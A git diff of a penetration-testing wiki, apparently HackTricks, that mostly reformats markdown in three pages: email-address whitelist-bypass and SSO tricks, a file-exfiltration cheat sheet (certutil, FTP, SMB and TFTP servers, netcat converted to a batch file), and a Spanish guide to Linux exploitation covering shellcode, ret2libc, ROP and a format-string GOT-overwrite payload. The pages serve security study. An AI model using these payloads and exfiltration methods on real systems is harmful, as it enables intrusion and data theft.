- +![](<../../.gitbook/assets/image (238).png>) diff --git a/emails-vulns.md b/emails-vulns.md index ff90182e..99f2112e 100644 --- a/emails-vulns.md +++ b/emails-vulns.md @@ -4,55 +4,54 @@ ### Ignored parts of an email -The symbols: **+, -** and **{}** in rare occasions can be used for tagging and ignored by most e-mail servers +The symbols: **+, -** and **{} **in rare occasions can be used for tagging and ignored by most e-mail servers * E.g. john.doe+intigriti@example.com → john.doe@example.com -**Comments between parentheses \(\)** at the beginning or the end will also be ignored +**Comments between parentheses () **at the beginning or the end will also be ignored -* E.g. john.doe\(intigriti\)@example.com → john.doe@example.com +* E.g. john.doe(intigriti)@example.com → john.doe@example.com ### Whitelist bypass -* inti\(;inti@inti.io;\)@whitelisted.com -* inti@inti.io\(@whitelisted.com\) -* inti+\(@whitelisted.com;\)@inti.io +* inti(;inti@inti.io;)@whitelisted.com +* inti@inti.io(@whitelisted.com) +* inti+(@whitelisted.com;)@inti.io ### IPs You can also use IPs as domain named between square brackets: -* john.doe@\[127.0.0.1\] -* john.doe@\[IPv6:2001:db8::1\] +* john.doe@\[127.0.0.1] +* john.doe@\[IPv6:2001:db8::1] ### Other vulns -![](.gitbook/assets/image%20%28160%29.png) +![](<.gitbook/assets/image (296).png>) ## Third party SSO ### XSS -Some services like **github** or **salesforce allows** you to create an **email address with XSS payloads on it**. If you can **use this providers to login on other services** and this services **aren't sanitising** correctly the email, you could cause **XSS**. +Some services like **github **or **salesforce allows **you to create an **email address with XSS payloads on it**. If you can **use this providers to login on other services** and this services** aren't sanitising** correctly the email, you could cause **XSS**. ### Account-Takeover -If a **SSO service** allows you to **create an account without verifying the given email address** \(like **salesforce**\) and then you can use that account to **login in a different service** that **trusts** salesforce, you could access any account. +If a **SSO service** allows you to **create an account without verifying the given email address** (like **salesforce**) and then you can use that account to **login in a different service** that **trusts **salesforce, you could access any account.\ _Note that salesforce indicates if the given email was or not verified but so the application should take into account this info._ ## Reply-To -You can send an email using _**From: company.com**_ ****and _**Replay-To: attacker.com**_ and if any **automatic reply** is sent due to the email was sent **from** an **internal address** the **attacker** may be able to **receive** that **response**. +You can send an email using _**From: company.com**_** **and _**Replay-To: attacker.com **_and if any **automatic reply **is sent due to the email was sent **from **an **internal address **the **attacker **may be able to **receive **that **response**. ## **References** -* \*\*\*\*[**https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view**](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)\*\*\*\* +* ****[**https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view**](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)**** ## Hard Bounce Rate -Some applications like AWS have a **Hard Bounce Rate** \(in AWS is 10%\), that whenever is overloaded the email service is blocked. +Some applications like AWS have a **Hard Bounce Rate** (in AWS is 10%), that whenever is overloaded the email service is blocked. -A **hard bounce** is an **email** that couldn’t be delivered for some permanent reasons. Maybe the **email’s** a fake address, maybe the **email** domain isn’t a real domain, or maybe the **email** recipient’s server won’t accept **emails**\) , that means from total of 1000 emails if 100 of them were fake or were invalid that caused all of them to bounce, **AWS SES** will block your service. - -So, if you are able to **send mails \(maybe invitations\) from the web application to any email address, you could provoke this block by sending hundreds of invitations to nonexistent users and domains: Email service DoS.** +A **hard bounce** is an **email** that couldn’t be delivered for some permanent reasons. Maybe the **email’s** a fake address, maybe the **email** domain isn’t a real domain, or maybe the **email** recipient’s server won’t accept **emails**) , that means from total of 1000 emails if 100 of them were fake or were invalid that caused all of them to bounce, **AWS SES **will block your service. +So, if you are able to **send mails (maybe invitations) from the web application to any email address, you could provoke this block by sending hundreds of invitations to nonexistent users and domains: Email service DoS.** diff --git a/exfiltration.md b/exfiltration.md index 1d5a1161..1272dc74 100644 --- a/exfiltration.md +++ b/exfiltration.md @@ -1,6 +1,6 @@ # Exfiltration -## Copy&Paste Base64 +## Copy\&Paste Base64 #### Linux @@ -11,7 +11,7 @@ base64 -d file #Decode file #### Windows -```text +``` certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll ``` @@ -46,7 +46,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous ### Upload files -\*\*\*\*[**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)\*\*\*\* +****[**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)**** ### **HTTPS Server** @@ -70,21 +70,21 @@ httpd.serve_forever() ## FTP -### FTP server \(python\) +### FTP server (python) ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` -### FTP server \(NodeJS\) +### FTP server (NodeJS) -```text +``` sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` -### FTP server \(pure-ftp\) +### FTP server (pure-ftp) ```bash apt-get update && apt-get install pure-ftp @@ -128,7 +128,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder impacket-smbserver -smb2support -user test -password test test `pwd` ``` -Or create a **smb** share **using samba**: +Or create a **smb **share **using samba**: ```bash apt-get install samba @@ -220,7 +220,7 @@ sudo python -m smtpd -n -c DebuggingServer :25 ## TFTP -By default in XP and 2003 \(in others it need to be explicitly added during installation\) +By default in XP and 2003 (in others it need to be explicitly added during installation) In Kali, **start TFTP server**: @@ -298,13 +298,13 @@ This is a crazy technique that works on Windows 32 bit machines. Basically the i `Debug.exe` can only assemble 64 kb. So we need to use files smaller than that. We can use upx to compress it even more. So let's do that: -```text +``` upx -9 nc.exe ``` Now it only weights 29 kb. Perfect. So now let's disassemble it: -```text +``` wine exe2bat.exe nc.exe nc.txt ``` @@ -313,4 +313,3 @@ Now we just copy-paste the text into our windows-shell. And it will automaticall ## DNS [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) - diff --git a/exploiting/linux-exploiting-basic-esp/README.md b/exploiting/linux-exploiting-basic-esp/README.md index a970035d..0d83e98c 100644 --- a/exploiting/linux-exploiting-basic-esp/README.md +++ b/exploiting/linux-exploiting-basic-esp/README.md @@ -1,49 +1,49 @@ -# Linux Exploiting \(Basic\) \(SPA\) +# Linux Exploiting (Basic) (SPA) ## **ASLR** Aleatorización de direcciones -**Desactiva aleatorizacion\(ASLR\) GLOBAL \(root\)**: -echo 0 > /proc/sys/kernel/randomize\_va\_space -Reactivar aletorizacion GLOBAL: echo 2 > /proc/sys/kernel/randomize\_va\_space +**Desactiva aleatorizacion(ASLR) GLOBAL (root)**:\ +echo 0 > /proc/sys/kernel/randomize_va_space\ +Reactivar aletorizacion GLOBAL: echo 2 > /proc/sys/kernel/randomize_va_space -**Desactivar para una ejecución** \(no requiere root\): -setarch \`arch\` -R ./ejemplo argumentos +**Desactivar para una ejecución** (no requiere root):\ +setarch \`arch\` -R ./ejemplo argumentos\ setarch \`uname -m\` -R ./ejemplo argumentos -**Desactivar protección de ejecución en pila** -gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack ejemplo.c -o ejemplo +**Desactivar protección de ejecución en pila**\ +gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack ejemplo.c -o ejemplo -**Core file** -ulimit -c unlimited -gdb /exec core\_file -/etc/security/limits.conf -> \* soft core unlimited +**Core file**\ +ulimit -c unlimited\ +gdb /exec core_file\ +/etc/security/limits.conf -> \* soft core unlimited -**Text -Data -BSS -Heap** +**Text**\ +**Data**\ +**BSS**\ +**Heap** **Stack** **Sección BSS**: Variables globales o estáticas sin inicializar -```text +``` static int i; ``` **Sección DATA**: Variables globales o estáticas inicializadas -```text +``` int i = 5; ``` -**Sección TEXT**: Instrucciones del código \(opcodes\) +**Sección TEXT**: Instrucciones del código (opcodes) -**Sección HEAP**: Buffer reservados de forma dinánima \(malloc\(\), calloc\(\), realloc\(\) \) +**Sección HEAP**: Buffer reservados de forma dinánima (malloc(), calloc(), realloc() ) -**Sección STACK**: La pila \(Argumentos pasados, cadenas de entorno \(env\), variables locales…\) +**Sección STACK**: La pila (Argumentos pasados, cadenas de entorno (env), variables locales…) ## **1.STACK OVERFLOWS** @@ -55,36 +55,38 @@ Fallo de segmentación o violación de segmento: Cuando se intenta acceder a una Para obtener la dirección de una función dentro de un programa se puede hacer: -```text +``` objdump -d ./PROGRAMA | grep FUNCION ``` ## ROP -### Call to sys\_execve +### Call to sys_execve -{% page-ref page="rop-syscall-execv.md" %} +{% content-ref url="rop-syscall-execv.md" %} +[rop-syscall-execv.md](rop-syscall-execv.md) +{% endcontent-ref %} ## **2.SHELLCODE** -Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h \| grep “\_\_NR\_” +Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\__NR\_” -setreuid\(0,0\); // \_\_NR\_setreuid 70 -execve\(“/bin/sh”, args\[\], NULL\); // \_\_NR\_execve 11 -exit\(0\); // \_\_NR\_exit 1 +setreuid(0,0); // \__NR_setreuid 70\ +execve(“/bin/sh”, args\[], NULL); // \__NR_execve 11\ +exit(0); // \__NR_exit 1 -xor eax, eax ; limpiamos eax -xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar -mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1 +xor eax, eax ; limpiamos eax\ +xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\ +mov al, 0x01 ; eax = 1 —> \__NR_exit 1\ int 0x80 ; Ejecutar syscall -**nasm -f elf assembly.asm** —> Nos devuelve un .o -**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump -objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes +**nasm -f elf assembly.asm** —> Nos devuelve un .o\ +**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\ +**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes **Comprobar que la shellcode funciona** -```text +``` char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80” void main(){ @@ -94,13 +96,13 @@ void main(){ } ``` -Para ver que las llamadas al sistema se realizan correctamente se debe compilar el programa anterior y las llamadas del sistema deben aparecer en **strace ./PROGRAMA\_COMPILADO** +Para ver que las llamadas al sistema se realizan correctamente se debe compilar el programa anterior y las llamadas del sistema deben aparecer en **strace ./PROGRAMA_COMPILADO** A la hora de crear shellcodes se puede realizar un truco. La primera instrucción es un jump a un call. El call llama al código original y además mete en el stack el EIP. Después de la instrucción call hemos metido el string que necesitásemos, por lo que con ese EIP podemos señalar al string y además continuar ejecutando el código. -EJ **TRUCO \(/bin/sh\)**: +EJ **TRUCO (/bin/sh)**: -```text +``` jmp 0x1f ; Salto al último call popl %esi ; Guardamos en ese la dirección al string movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh) @@ -120,9 +122,9 @@ call -0x24 ; Salto a la primera instru .string \”/bin/sh\” ; String a usar ``` -**EJ usando el Stack\(/bin/sh\):** +**EJ usando el Stack(/bin/sh):** -```text +``` section .text global _start _start: @@ -145,7 +147,7 @@ int 0x80 ; excve(“/bin/sh”, arg **EJ FNSTENV:** -```text +``` fabs fnstenv [esp-0x0c] pop eax ; Guarda el EIP en el que se ejecutó fabs @@ -154,13 +156,13 @@ pop eax ; Guarda el EIP en el que se ejecutó fabs **Egg Huter:** -Consiste en un pequeño código que recorre las páginas de memoria asociadas a un proceso en busca de la shellcode ahi guardada \(busca alguna firma puesta en la shellcode\). Útil en los casos en los que solo se tiene un pequeño espacio para inyectar código. +Consiste en un pequeño código que recorre las páginas de memoria asociadas a un proceso en busca de la shellcode ahi guardada (busca alguna firma puesta en la shellcode). Útil en los casos en los que solo se tiene un pequeño espacio para inyectar código. **Shellcodes polimórficos** Consisten el shells cifradas que tienen un pequeño códigos que las descifran y saltan a él, usando el truco de Call-Pop este sería un **ejemplo cifrado cesar**: -```text +``` global _start _start: jmp short magic @@ -179,26 +181,26 @@ sc: ;Aquí va el shellcode ``` -1. **Atacando el Frame Pointer \(EBP\)** +1. **Atacando el Frame Pointer (EBP)** Útil en una situación en la que podemos modificar el EBP pero no el EIP. Se sabe que al salir de una función se ejecuta el siguente código ensamblador: -```text +``` movl %ebp, %esp popl %ebp ret ``` -De esta forma, si se puede modificar el EBP al salir de una función \(fvuln\) que ha sido llamada por otra función, cuando la función que llamó a fvuln finalice, su EIP puede ser modificado. +De esta forma, si se puede modificar el EBP al salir de una función (fvuln) que ha sido llamada por otra función, cuando la función que llamó a fvuln finalice, su EIP puede ser modificado. -En fvuln se puede introducir un EBP falso que apunte a un sitio donde esté la direcciónd e la shellcode + 4 \(hay que sumarle 4 por el pop\). Así, al salir de la función, se meterá en ESP el valor de &\(&Shellcode\)+4, con el pop se le restará 4 al ESP y este apuntará a la dirección de la shellcode cuando se ejcute el ret. +En fvuln se puede introducir un EBP falso que apunte a un sitio donde esté la direcciónd e la shellcode + 4 (hay que sumarle 4 por el pop). Así, al salir de la función, se meterá en ESP el valor de &(\&Shellcode)+4, con el pop se le restará 4 al ESP y este apuntará a la dirección de la shellcode cuando se ejcute el ret. -**Exploit:** -&Shellcode + "AAAA" + SHELLCODE + relleno + &\(&Shellcode\)+4 +**Exploit:**\ +\&Shellcode + "AAAA" + SHELLCODE + relleno + &(\&Shellcode)+4 -**Off-by-One Exploit** +**Off-by-One Exploit**\ Se permite modificar tan solo el byte menos significativo del EBP. Se puede llevar a cabo un ataque como el anterior pero la memoria que guarda la dirección de la shellcode debe compartir los 3 primeros bytes con el EBP. ## **4. Métodos return to Libc** @@ -207,71 +209,71 @@ Método útil cuando el stack no es ejecutable o deja un buffer muy pequeño par El ASLR provoca que en cada ejecución las funciones se carguen en posiciones distintas de la memoria. Por lo tanto este método puede no ser efectivo en ese caso. Para servidores remotos, como el programa está siendo ejecutado constantemente en la misma dirección sí puede ser útil. -* **cdecl\(C declaration\)** Mete los argumentos en el stack y tras salir de la función limpia la pila -* **stdcall\(standard call\)** Mete los argumentos en la pila y es la función llamada la que la limpia +* **cdecl(C declaration)** Mete los argumentos en el stack y tras salir de la función limpia la pila +* **stdcall(standard call)** Mete los argumentos en la pila y es la función llamada la que la limpia * **fastcall** Mete los dos primeros argumentos en registros y el resto en la pila -Se pone la dirección de la instrucción system de libc y se le pasa como argumento el string “/bin/sh”, normalmente desde una variable de entorno. Además, se usa la dirección a la función exit para que una vez que no se requiera más la shell, salga el programa sin dar problemas \(y escribir logs\). +Se pone la dirección de la instrucción system de libc y se le pasa como argumento el string “/bin/sh”, normalmente desde una variable de entorno. Además, se usa la dirección a la función exit para que una vez que no se requiera más la shell, salga el programa sin dar problemas (y escribir logs). **export SHELL=/bin/sh** -Para encontrar las direcciones que necesitaremos se puede mirar dentro de **GDB: -p system -p exit -rabin2 -i ejecutable** —> Da la dirección de todas las funciones que usa el programa al cargarse -\(Dentro de un start o algun breakpoint\): **x/500s $esp** —> Buscamos dentro de aqui el string /bin/sh +Para encontrar las direcciones que necesitaremos se puede mirar dentro de **GDB:**\ +**p system**\ +**p exit**\ +**rabin2 -i ejecutable** —> Da la dirección de todas las funciones que usa el programa al cargarse\ +(Dentro de un start o algun breakpoint): **x/500s $esp** —> Buscamos dentro de aqui el string /bin/sh Una vez tengamos estas direcciones el **exploit** quedaría: -“A” \* DISTANCIA EBP + 4 \(EBP: pueden ser 4 "A"s aunque mejor si es el EBP real para evitar fallos de segmentación\) + Dirección de **system** \(sobreescribirá el EIP\) + Dirección de **exit** \(al salir de system\(“/bin/sh”\) se llamará a esta función pues los primero 4bytes del stack son tratados como la siguiente dirección del EIP a ejecutar\) + Dirección de “**/bin/sh**” \(será el parámetro pasado a system\) +“A” \* DISTANCIA EBP + 4 (EBP: pueden ser 4 "A"s aunque mejor si es el EBP real para evitar fallos de segmentación) + Dirección de **system** (sobreescribirá el EIP) + Dirección de **exit** (al salir de system(“/bin/sh”) se llamará a esta función pues los primero 4bytes del stack son tratados como la siguiente dirección del EIP a ejecutar) + Dirección de “**/bin/sh**” (será el parámetro pasado a system) -De esta forma el EIP se sobreescribirá con la dirección de system la cual recibirá como parámetro el string “/bin/sh” y al salir de este ejecutará la función exit\(\). +De esta forma el EIP se sobreescribirá con la dirección de system la cual recibirá como parámetro el string “/bin/sh” y al salir de este ejecutará la función exit(). -Es posible encontrarse en la situación de que algún byte de alguna dirección de alguna función sea nulo o espacio \(\x20\). En ese caso se pueden desensamblar las direcciones anteriores a dicha función pues probablemente haya varios NOPs que nos permitan poder llamar a alguno de ellos en vez de a la función directamente \(por ejemplo con > x/8i system-4\). +Es posible encontrarse en la situación de que algún byte de alguna dirección de alguna función sea nulo o espacio (\x20). En ese caso se pueden desensamblar las direcciones anteriores a dicha función pues probablemente haya varios NOPs que nos permitan poder llamar a alguno de ellos en vez de a la función directamente (por ejemplo con > x/8i system-4). Este método funciona pues al llamar a una función como system usando el opcode **ret** en vez de **call**, la función entiende que los primeros 4bytes serán la dirección **EIP** a la que volver. -Una técnica interesante con este método es el llamar a **strncpy\(\)** para mover un payload del stack al heap y posteriormente usar **gets\(\)** para ejecutar dicho payload. +Una técnica interesante con este método es el llamar a **strncpy()** para mover un payload del stack al heap y posteriormente usar **gets()** para ejecutar dicho payload. -Otra técnica interesante es el uso de **mprotect\(\)** la cual permite asignar los permisos deseados a cualquier parte de la memoria. Sirve o servía en BDS, MacOS y OpenBSD, pero no en linux\(controla que no se puedan otorgar a la vez permisos de escritura y ejecución\). Con este ataque se podría volver a configurar la pila como ejecutable. +Otra técnica interesante es el uso de **mprotect()** la cual permite asignar los permisos deseados a cualquier parte de la memoria. Sirve o servía en BDS, MacOS y OpenBSD, pero no en linux(controla que no se puedan otorgar a la vez permisos de escritura y ejecución). Con este ataque se podría volver a configurar la pila como ejecutable. #### **Encadenamiento de funciones** -Basándonos en la técnica anterior, esta forma de exploit consiste en: -Relleno + &Función1 + &pop;ret; + &arg\_fun1 + &Función2 + &pop;ret; + &arg\_fun2 + … +Basándonos en la técnica anterior, esta forma de exploit consiste en:\ +Relleno + \&Función1 + \&pop;ret; + \&arg_fun1 + \&Función2 + \&pop;ret; + \&arg_fun2 + … -De esta forma se pueden encadenar funciones a las que llamar. Además, si se quieren usar funciones con varios argumentos, se pueden poder los argumentos necesarios \(ej 4\) y poner los 4 argumentos y buscar dirección a un sitio con opcodes: pop, pop, pop, pop, ret —> **objdump -d ejecutable** +De esta forma se pueden encadenar funciones a las que llamar. Además, si se quieren usar funciones con varios argumentos, se pueden poder los argumentos necesarios (ej 4) y poner los 4 argumentos y buscar dirección a un sitio con opcodes: pop, pop, pop, pop, ret —> **objdump -d ejecutable** -#### **Encadenamiento mediante falseo de frames \(encadenamiento de EBPs\)** +#### **Encadenamiento mediante falseo de frames (encadenamiento de EBPs)** Consiste en aprovechar el poder manipular el EBP para ir encadenando la ejecución de varias funciones a través del EBP y de "leave;ret" RELLENO -* Situamos en el EBP un EBP falso que apunta a: 2º EBP\_falso + la función a ejecutar: \(&system\(\) + &leave;ret + &“/bin/sh”\) -* En el EIP ponemos de dirección una función &\(leave;ret\) +* Situamos en el EBP un EBP falso que apunta a: 2º EBP_falso + la función a ejecutar: (\&system() + \&leave;ret + &“/bin/sh”) +* En el EIP ponemos de dirección una función &(leave;ret) -Iniciamos la shellcode con la dirección a la siguiente parte de la shellcode, por ej: 2ºEBP\_falso + &system\(\) + &\(leave;ret;\) + &”/bin/sh” +Iniciamos la shellcode con la dirección a la siguiente parte de la shellcode, por ej: 2ºEBP_falso + \&system() + &(leave;ret;) + &”/bin/sh” -el 2ºEBP sería: 3ºEBP\_falso + &system\(\) + &\(leave;ret;\) + &”/bin/ls” +el 2ºEBP sería: 3ºEBP_falso + \&system() + &(leave;ret;) + &”/bin/ls” Esta shellcode se puede repetir indefinidamente en las partes de memoria a las que se tenga acceso de forma que se conseguirá una shellcode fácilmente divisible por pequeños trozos de memoria. -\(Se encadena la ejecución de funciones mezclando las vulnerabilidades vistas anteriormente de EBP y de ret2lib\) +(Se encadena la ejecución de funciones mezclando las vulnerabilidades vistas anteriormente de EBP y de ret2lib) ## **5.Métodos complementarios** #### **Ret2Ret** -Útil para cuando no se puede meter una dirección del stack en el EIP \(se comprueba que el EIP no contenga 0xbf\) o cuando no se puede calcular la ubicación de la shellcode. Pero, la función vulnerable acepte un parámetro \(la shellcode irá aquí\). +Útil para cuando no se puede meter una dirección del stack en el EIP (se comprueba que el EIP no contenga 0xbf) o cuando no se puede calcular la ubicación de la shellcode. Pero, la función vulnerable acepte un parámetro (la shellcode irá aquí). -De esta forma, al cambiar el EIP por una dirección a un **ret**, se cargará la siguiente dirección \(que es la dirección del primer argumento de la función\). Es decir, se cargará la shellcode. +De esta forma, al cambiar el EIP por una dirección a un **ret**, se cargará la siguiente dirección (que es la dirección del primer argumento de la función). Es decir, se cargará la shellcode. -El exploit quedaría: SHELLCODE + Relleno \(hasta EIP\) + **&ret** \(los siguientes bytes de la pila apuntan al inicio de la shellcode pues se mete en el stack la dirección al parámetro pasado\) +El exploit quedaría: SHELLCODE + Relleno (hasta EIP) + **\&ret** (los siguientes bytes de la pila apuntan al inicio de la shellcode pues se mete en el stack la dirección al parámetro pasado) -Al parecer funciones como **strncpy** una vez completas eliminan de la pila la dirección donde estaba guardada la shellcode imposibilitando esta técnica. Es decir, la dirección que pasan a la función como argumento \(la que guarda la shellcode\) es modificada por un 0x00 por lo que al llamar al segundo **ret** se encuentra con un 0x00 y el programa muere. +Al parecer funciones como **strncpy** una vez completas eliminan de la pila la dirección donde estaba guardada la shellcode imposibilitando esta técnica. Es decir, la dirección que pasan a la función como argumento (la que guarda la shellcode) es modificada por un 0x00 por lo que al llamar al segundo **ret** se encuentra con un 0x00 y el programa muere. -```text +``` **Ret2PopRet** ``` @@ -281,7 +283,7 @@ Si no tenemos control sobre el primer argumento pero sí sobre el segundo o el t En linux todos los progamas se mapean comenzando en 0xbfffffff -Viendo como se construye la pila de un nuevo proceso en linux se puede desarrollar un exploit de forma que programa sea arrancado en un entorno cuya única variable sea la shellcode. La dirección de esta entonces se puede calcular como: addr = 0xbfffffff - 4 - strlen\(NOMBRE\_ejecutable\_completo\) - strlen\(shellcode\) +Viendo como se construye la pila de un nuevo proceso en linux se puede desarrollar un exploit de forma que programa sea arrancado en un entorno cuya única variable sea la shellcode. La dirección de esta entonces se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode) De esta forma se obtendría de forma sensilla la dirección donde está la variable de entorno con la shellcode. @@ -293,19 +295,19 @@ Debido a que el ESP está apuntando al comienzo del stack siempre, esta técnica En caso de que no se tenga el ASLR activo en Windows o Linux se puede llamar a **jmp esp** o **call esp** almacenadas en algún objeto compartido. En caso de que esté el ASLR, se podría buscar dentro del propio programa vulnerable. -Además, el hecho de poder colocar la shellcode después de la corrupción del EIP en vez de en medio del stack, permite que las instrucciones push o pop que se ejecuten en medio de la función no lleguen a tocar la shellcode \(cosa que podría ocurrir en caso de ponerse en medio del stack de la función\). +Además, el hecho de poder colocar la shellcode después de la corrupción del EIP en vez de en medio del stack, permite que las instrucciones push o pop que se ejecuten en medio de la función no lleguen a tocar la shellcode (cosa que podría ocurrir en caso de ponerse en medio del stack de la función). -De forma muy similar a esto si sabemos que una función devuelve la dirección donde está guardada la shellcode se puede llamar a **call eax** o **jmp eax \(ret2eax\).** +De forma muy similar a esto si sabemos que una función devuelve la dirección donde está guardada la shellcode se puede llamar a **call eax** o **jmp eax (ret2eax).** -#### **ROP \(Return Oriented Programming\) o borrowed code chunks** +#### **ROP (Return Oriented Programming) o borrowed code chunks** Los trozos de código que se invocan se conocen como gadgets. Esta técnica consiste en encadenar distintas llamadas a funciones mediante la técnica de **ret2libc** y el uso de **pop,ret**. -En algunas arquitecturas de procesadores cada instrucción es un conjunto de 32bits \(MIPS por ej\). Sin embargo, en Intel las instrucciones son de tamaño variable y varias instrucciones pueden compartir un conjunto de bits, por ejemplo: +En algunas arquitecturas de procesadores cada instrucción es un conjunto de 32bits (MIPS por ej). Sin embargo, en Intel las instrucciones son de tamaño variable y varias instrucciones pueden compartir un conjunto de bits, por ejemplo: -**movl $0xe4ff, -0x\(%ebp\)** —> Contiene los bytes 0xffe4 que también se traducen por: **jmp \*%esp** +**movl $0xe4ff, -0x(%ebp)** —> Contiene los bytes 0xffe4 que también se traducen por: **jmp \*%esp** De esta forma se pueden ejecutar algunas instrucciones que realmente ni si quiera está en el programa original @@ -344,7 +346,7 @@ return 0; En el ejemplo anterior vemos que el programa se espera 2 parámetros. El primero la longitud de la siguiente cadena y el segundo la cadena. -Si le pasamos como primer parámetro un número negativo saldrá que len < 256 y pasaremos ese filtro, y además también strlen\(buffer\) será menor que l, pues l es unsigned int y será muy grande. +Si le pasamos como primer parámetro un número negativo saldrá que len < 256 y pasaremos ese filtro, y además también strlen(buffer) será menor que l, pues l es unsigned int y será muy grande. Este tipo de overflows no busca lograr escribir algo en el proceso del programa, sino superar filtros mal diseñados para explotar otras vulnerabilidades. @@ -377,50 +379,50 @@ AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -### **GOT \(Global Offsets Table\) / PLT \(**Procedure Linkage Table\) +### **GOT (Global Offsets Table) / PLT (**Procedure Linkage Table) This is the table that contains the **address** to the **external functions** used by the program. Get the address to this table with: **`objdump -s -j .got ./exec`** -![](../../.gitbook/assets/image%20%28619%29.png) +![](<../../.gitbook/assets/image (619).png>) Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xDIR_GOT` -![](../../.gitbook/assets/image%20%28621%29.png) +![](<../../.gitbook/assets/image (621) (2).png>) Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table: -![](../../.gitbook/assets/image%20%28622%29.png) +![](<../../.gitbook/assets/image (621).png>) -In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this exploit is to **override the GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function**. Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** \(so you will be able to control the parameters sent to the system function\). +In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this exploit is to **override the GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function**. Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function). If **`system`** **isn't used** by the script, the system function **won't** have an entry in the GOT. In this scenario, you will **need to leak first the address** of the `system` function. -**Procedure Linkage Table** is a **read only** table in ELF file that stores all necessary **symbols that need a resolution**. When one of these functions are called the **GOT** will **redirect** the **flow** to the **PLT** so it can **resolve** the **address** of the function and write it on the GOT. +**Procedure Linkage Table** is a **read only** table in ELF file that stores all necessary **symbols that need a resolution**. When one of these functions are called the **GOT** will **redirect** the **flow** to the **PLT** so it can **resolve** the **address** of the function and write it on the GOT.\ Then, the **next time** a call is performed to that address the **function** is **called directly** without needing to resolve it. You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`** ### **Exploit Flow** -As explained before the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Ideally we could set the **address to a shellcode** located in a executable section, but highly probable you won't be able to write a shellcode in a executable section. +As explained before the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Ideally we could set the **address to a shellcode** located in a executable section, but highly probable you won't be able to write a shellcode in a executable section.\ So a different option is to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**. To write the address, usually 2 steps are done: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used. -**HOB** is called to the 2 higher bytes of the address +**HOB** is called to the 2 higher bytes of the address\ **LOB** is called to the 2 lower bytes of the address -So, because of how format string works you need to **write first the smallest** of \[HOB, LOB\] and then the other one. +So, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one. -If HOB < LOB +If HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -If HOB > LOB +If HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` -HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB +HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB \`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\` @@ -428,9 +430,11 @@ HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\ You an find a **template** to exploit the GOT using format-strings here: -{% page-ref page="format-strings-template.md" %} +{% content-ref url="format-strings-template.md" %} +[format-strings-template.md](format-strings-template.md) +{% endcontent-ref %} -### **.fini\_array** +### **.fini_array** Essentially this is a structure with **functions that will be called** before the program finishes. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go back to main again to **exploit the format string a second time**. @@ -449,20 +453,20 @@ Note that this **won't** **create** an **eternal loop** because when you get bac ### **Format Strings to Dump Content** -A format string can also be abused to **dump content** from the memory of the program. +A format string can also be abused to **dump content** from the memory of the program.\ For example, in the following situation there is a **local variable in the stack pointing to a flag.** If you **find** where in **memory** the **pointer** to the **flag** is, you can make **printf access** that **address** and **print** the **flag**: So, flag is in **0xffffcf4c** -![](../../.gitbook/assets/image%20%28618%29.png) 